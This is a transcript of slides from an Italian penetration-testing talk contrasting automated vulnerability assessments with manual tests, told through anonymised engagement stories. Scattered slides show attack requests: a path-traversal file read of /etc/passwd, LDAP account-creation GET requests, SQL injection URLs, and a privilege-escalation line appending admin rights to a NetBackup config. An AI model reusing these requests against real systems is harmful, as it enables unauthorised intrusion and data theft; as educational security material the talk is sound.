the PT conundrum ( and its ANTISEC formulation ) matteo falsetti - mfalsetti@enforcer.it - fusys@sikurezza.org

Transcript

1 the PT conundrum ( and its ANTISEC formulation ) matteo falsetti - mfalsetti@enforcer.it - fusys@sikurezza.org

2 Chi sono ricercatore indipendente da diciannove anni da quattordici mi occupo professionalmente di penetration testing e vulnerability assessment non mi occupo (ancora) delle sole logiche aziendali

3 Agenda Penetration Test attack any vulnerability known and unknown operational weaknesses

4 Penetration Test It is a method of evaluating the security of a computer system or network by simulating an attack from malicious outsiders and/or malicious insiders. The process involves an active analysis of the system for any potential vulnerabilities that could result from poor or improper system configuration, both known and unknown hardware or software flaws, or operational weaknesses in process or technical countermeasures. This analysis is carried out from the position of a potential attacker and can involve active exploitation of security vulnerabilities.

5 Determining the feasibility of a particular set of attack vectors Identifying higher-risk vulnerabilities that result from a combination of lower-risk vulnerabilities exploited in a particular sequence Identifying vulnerabilities that may be difficult or impossible to detect with automated network or application vulnerability scanning software Assessing the magnitude of potential business and operational impacts of successful attacks Testing the ability of network defenders to successfully detect and respond to the attacks Providing evidence to support increased investments in security personnel and technology

7 PT == attacco?! sotto-stimato ( meglio un assessment classico ) non compreso ( fate quel che dovete, ma non toccate nulla, non copiate o modificate alcun dato, non impersonate utenze altrui, non aumentate il carico della macchina, non... ) menomato da logiche aziendali estranee ( ok i sistemi A, C e D. Il B no, perchè fa parte della linea di esercizio e sistemi, che fa capo a X. I sistemi da E a H non li testiamo perchè non siamo riusciti a contattare il referente interno Y. )

8 PT == attacco?! sotto-stimato ( meglio un assessment classico ) gli non attaccanti compreso non firmano NDA e ( fate quel che dovete, ma non toccate nulla, non copiate o usano modificate campioni alcun dato, non proficui impersonate utenze dei altrui, target, non aumentate il carico della macchina, non... ) non significativi menomato da logiche aziendali estranee ( ok i sistemi A, C e D. Il B no, perchè fa parte della linea di esercizio e sistemi, che fa capo a X. I sistemi da E a H non li testiamo perchè non siamo riusciti a contattare il referente interno Y. )

10 to Hash or not to Hash portale su intranet, SQL Injection RO nel presentation layer nessun altra vulnerabilità dati cifrati 8000 hash di password delle utenze

11 to Hash or not to Hash E F F D68666D413D3D io non riconosco l hash John the Ripper non riconosce l hash nessuno sembra riconoscere l hash How often have I said to you that when you have eliminated the impossible, whatever remains, however improbable, must be the truth? Sherlock Holmes

12 to Hash or not to $ Hash ftp xxx.xxx.xxx.xxx 222 Connected to xxx.xxx.xxx.xxx. 220 Microsoft FTP Service Name (xxx.xxx.xxx.xxx:root): ftp 331 Anonymous access allowed, send identity ( name) as password. Password: 230 Anonymous user logged in. Remote system type is Windows_NT. ftp> ls XYZCrypter 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls :00AM <DIR> DLL :02AM <DIR> test :05AM <DIR> data 226 Transfer complete.

13 to Hash or not to Hash la dll è usata ovunque, in ogni altro portale e DB crittografia simmetrica mediante Rijndael la chiave usata è di soli 12 byte invece della lunghezza minima di 16 IV statico nella dll possibile usare le chiamate di mscorlib.dll o la stessa DLL proprietaria

14 to Hash or not to Hash la dll è usata ovunque, in ogni altro portale e DB crittografia simmetrica mediante Rijndael la chiave usata è di soli 12 byte invece della lunghezza minima di 16 IV statico nella dll possibile usare le chiamate di mscorlib.dll o la stessa DLL proprietaria

15 to Hash or not to Hash E F F D68666D413D3D ZQ391XK7

16 the LDAP reformulation portale WebSphere, JSP / Java, DBMS DB2 applicazione near-legacy, continuo rimaneggiamento dal vecchio port XSS, SQLI, Path Traversal, Direct Object Reference, Forced Browsing,... autenticazione sicura, LDAP (AD LDS), non manipolabile o aggirabile tutti hanno accesso READ su tutto, ruoli in WRITE ben verificati lato server

17 the LDAP reformulation il committente è a posto con quanto trovato sepolte in un vecchio rilascio rimasto nella webroot ci sono 2 servlet di download dei PDF INPUT Validation carente e path traversal portano ad Arbitrary File Read

18 the LDAP reformulation POST /XxxxxxxConfig/Srv/xxxxxFileNew HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Content-Type: application/x-www-form-urlencoded contenttype=text%2fhtml&iseries=n&filename=/etc/passwd il committente è a posto con quanto trovato sepolte HTTP/1.1 in un vecchio 200 OKrilascio rimasto nella webroot ci sono 2 servlet di download dei Date: PDF Wed, 06 May :12:49 GMT X-Powered-By: Servlet/ INPUT Validation carente e path traversal portano ad Arbitrary File Read root:!:0:0::/:/usr/bin/bash daemon:!:1:1::/etc: bin:!:2:2::/bin: sys:!:3:3::/usr/sys:...

19 the LDAP reformulation if (controlliformali()) { //frmlogin.ldap_tipo_azione.value = slrgetelementbyid("ldap_tipo_azione").value; frmlogin.oldpassword.value = passwordold; frmlogin.ldap_password.value = il committente è a posto con quanto trovato slrgetelementbyid("ldap_password").value; sepolte in un vecchio rilascio setstatoinput(false); rimasto nella webroot ci sono 2 servlet di download dei PDF LdapGestioneUtenti/gestione"; slrloadshow(); var url = contextpath + "/Srv/ INPUT Validation carente e var path post traversal = CreaSubmit(frmLogin); portano ad Arbitrary File Read } slrcallxmlhttp(url, post, 'avantiend');

20 the LDAP reformulation... public LdapGestioneUtenti() { oldpassword = "";... } il committente è a posto con quanto trovato... sepolte if(azione.equals("modificapwd")) in un vecchio rilascio rimasto nella webroot ci sono 2 servlet di try download dei PDF { INPUT Validation carente e path traversal portano ad Arbitrary File Read... } int result = LdapCheckUser.chkEnableUser(user, true); if(result == 0) LdapChgPwd.chgPwd(true, user, oldpassword, password, mustchangepwd); ComboUtil.respXmlHttp(response, ComboUtil.valCampo("esito", "OK", 'r'));

21 the LDAP reformulation GET /XxxxxxConfig/Srv/LdapGestioneUtenti/gestione? LDAP_USER=XXXXXXXXXXXX01P&LDAP_PASSWORD=Maggiopentest001 &LDAP_TIPO_AZIONE=modificaPwd il committente è a posto con quanto trovato GET sepolte /XxxxxxConfig/Srv/LdapGestioneUtenti/gestione? in un vecchio rilascio rimasto nella webroot ci sono 2 servlet di LDAP_USER=ENFORCER02&LDAP_PASSWORD=Maggiopentest001&LDAP download dei PDF _TIPO_AZIONE=crea INPUT Validation carente e path traversal portano ad Arbitrary File Read GET /XxxxxxConfig/Srv/LdapGestioneUtenti/gestione? LDAP_USER=ENFORCER02&LDAP_PASSWORD=Maggiopentest001&LDAP _TIPO_AZIONE=abilita

23

24 L hardening è uguale per tutti. anonimo

25 L hardening è uguale per tutti. anonimo

26

27

28 No DBA No filesystem I/O o exec SQLI httpd #2 ORACLE Schema WBMSTR SQLI httpd #1 ORACLE Schema DOCS 0wned Domain

29 SQLI httpd #2 ORACLE Schema WBMSTR SQLI httpd #1 ORACLE Schema DOCS Table CMS_uSeRS Schema Ops$ACME informazioni correlabili a livello umano, sono spesso disseminate in più schemi su più istanze differenti Table Landesk_users 0wned Domain

30 (fusys) ~/ACMEIT/sqlmap/dumps > grep Matteo Landesk_users.csv SQLI httpd #2 ORACLE Schema WBMSTR Table CMS_uSeRS SQLI httpd #1 ORACLE Schema DOCS ACME - palazzina,beepbeep,italy,699,null,matteo,"dala2naper,il", ,0,1,699,Falsetti Schema Ops$ACME Table Landesk_users (fusys) ~/ACMEIT/sqlmap/dumps > grep Matteo CMS_uSeRS.csv 10299,1,1,1,1,m.falsetti@acmeit.it,canlogin,fal00mat,Matteo,Falsetti 0wned Domain

31 semi 0-day PHP LFI httpd #2 SQLI httpd #2 ORACLE Schema WBMSTR Table CMS_uSeRS SQLI httpd #1 ORACLE Schema DOCS Schema Ops$ACME PHP Shell FTP Access httpd #1 Table Landesk_users 0wned Domain

32 semi 0-day PHP LFI httpd #2 SQLI httpd #2 ORACLE Schema WBMSTR Table CMS_uSeRS SQLI httpd #1 ORACLE Schema DOCS Schema Ops$ACME PHP Shell FTP Access httpd #1 Table Landesk_users reverse shell + port forwarding 0wned Domain

33 semi 0-day PHP LFI httpd #2 SQLI httpd #2 ORACLE Schema WBMSTR Table CMS_uSeRS SQLI httpd #1 ORACLE Schema DOCS Schema Ops$ACME PHP Shell FTP Access httpd #1 Table Landesk_users reverse shell + port forwarding database enumeration oracle:oracle 0wned Domain

34 SQLI httpd #2 ORACLE Schema WBMSTR SQLI httpd #1 ORACLE Schema DOCS semi 0-day PHP LFI httpd #2 unico account debole è sul DB core FTP Access httpd #1 Table CMS_uSeRS Schema Ops$ACME accesso in shell sull AIX nodo centrale della rete PHP Shell reverse shell + port forwarding database enumeration oracle:oracle Table Landesk_users l account oracle su un DB server è meglio di root 0wned Domain

35 semi 0-day PHP LFI httpd #2 SQLI httpd #2 ORACLE Schema WBMSTR Table CMS_uSeRS SQLI httpd #1 ORACLE Schema DOCS Schema Ops$ACME PHP Shell FTP Access httpd #1 Table Landesk_users reverse shell + port forwarding database enumeration oracle:oracle 0wned Domain OID package source code

36 regressione nel codice non visibile dalle signature degli scanner semi 0-day PHP LFI httpd #2 rischio quantificato come basso solo HTTPd e FTPd sui web server credenziali complesse SQL Injection non automatizzata SQLI httpd #2 ORACLE Schema WBMSTR Table CMS_uSeRS SQLI httpd #1 ORACLE Schema DOCS errore di separazione logica degli schemi Oracle Schema Ops$ACME PHP Shell hardening locale non visibile da VA esterno reverse shell + port forwarding FTP Access httpd #1 database enumeration oracle:oracle Table Landesk_users 0wned Domain OID è complesso package source automatizzare code processi di data mining guidati da deduzione e intuizione

37 Risultati del VA Risultati del PT nessun rischio HIGH semi 0-day qualche notifica su SSL, sui PHP LFI httpd #2 protocolli di comunicazione insicuri e su possibili injection da verificare PHP Shell a mano nessuna credenziale di default esposta su Internet reverse shell + port forwarding FTP Access httpd #1 database enumeration SQLI httpd #2 ORACLE Schema WBMSTR Table CMS_uSeRS SQLI httpd #1 ORACLE Schema DOCS compromissione di un server perimetrale Schema Ops$ACME compromissione dell Oracle OID e delle Table applicazioni Landesk_users privilegiate da esso autenticate compromissione oracle:oracle dati degli utenti 0wned Domain OID package source code

38

39

40

41 Come on Leonard. If you re gonna teach history, these are the kind of facts you ll have to know.

42 IP TCP HTTP

43 GET /brandprofile/vulnus.aspx?xyz=acm IP %27%3B%20CREATE%20TABL%20sqlmapoutput (data%20varchar(8000))%3b--%20and TCP %20%27PLyKB%27=%27PLyKB HTTP HTTP/1.1

44

45 IP TCP HTTP

46 GET /brandprofile/vulnus.aspx?foo=aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa IP aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa TCP aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa HTTP aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&xyz=acm%27%3b %20CREATE%20 TABLE%20sqlmapoutput%28data%20varchar %288000%29%29%3B--%20AND%20%27PLyKB%27=%27PLyKB HTTP/1.1

47 IP TCP HTTP

48 IP TCP SQL SELECT SYSDATE FROM DUAL

51 E L B T R A O P D Z X Y

52 D R O P X Y T Z A B L E

53 D R O P X Y T Z A B L E

55 Sala Server Veritas Netbackup Postazioni di Lavoro

56 Sala Server Veritas Netbackup Postazioni di Lavoro

57 Password Guessing 0wned Domain

58 Password Guessing Srv Enable 0wned Domain

59 Password Guessing Srv Enable SADMIND Exploit 0wned Domain

60 Password Guessing Srv Enable Local Privilege Escalation SADMIND Exploit echo falsema ADMIN=ALL JBP=ALL >> /nbudb/openv/java/auth.conf 0wned Domain

61 Password Guessing Srv Enable Local Privilege Escalation SADMIND Exploit Netbackup Administration 0wned Domain

62 Password Guessing Srv Enable Local Privilege Escalation SADMIND Exploit Netbackup Administration 0wned Domain

63 Windows 2003 server R2 32bit edition Netbackup 5.1 install + patch Password Guessing Software Leech Srv Enable Local Privilege Escalation SADMIND Exploit Netbackup Administration 0wned Domain

64 Password Guessing Software Leech Srv Enable Local Privilege Escalation SADMIND Exploit Win2003 VM Netbackup Administration 0wned Domain

65 Password Guessing Software Leech Srv Enable Local Privilege Escalation SADMIND Exploit Win2003 VM Netbackup Administration AD half restore 0wned Domain

66 Password Guessing Software Leech Srv Enable Local Privilege Escalation Netbackup Administration SADMIND Exploit AD half restore restore del server AD di backup Win2003 VM reinstallazione driver installazione servizio nel registro creazione di utenza di dominio 0wned Domain

67 Password Guessing Software Leech Srv Enable Local Privilege Escalation SADMIND Exploit Win2003 VM Netbackup Administration AD half restore AD corruption 0wned Domain

70 rischio quantificato come basso solo SSHd e portmapper credenziale non di default errore procedurale VA non verifica la natura dei dati l analisi della componente umana nelle procedure aziendali non è quasi mai automatizzabile Password Guessing Software Leech Srv Enable Local Privilege Escalation patch level non verificabile da VA blackbox Netbackup Administration SADMIND Exploit AD half restore 0wned Domain Win2003 VM AD corruption misteri delle race condition in architetture complesse non verificabili o quantificabili nei VA automatizzati

71 Risultati del VA Risultati del PT nessun rischio HIGH qualche notifica su SSL e su protocolli di comunicazione insicuri Password Guessing Local Privilege Escalation Netbackup Administration nessuna credenziale di default Srv Enable SADMIND Exploit AD half restore Software Leech Win2003 VM AD corruption compromissione dei backup compromissione del dominio Active Directory e di ogni sua componente compromissione dati degli utenti 0wned Domain

72 the PT conundrum ( and its ANTISEC formulation ) matteo falsetti - mfalsetti@enforcer.it - fusys@sikurezza.org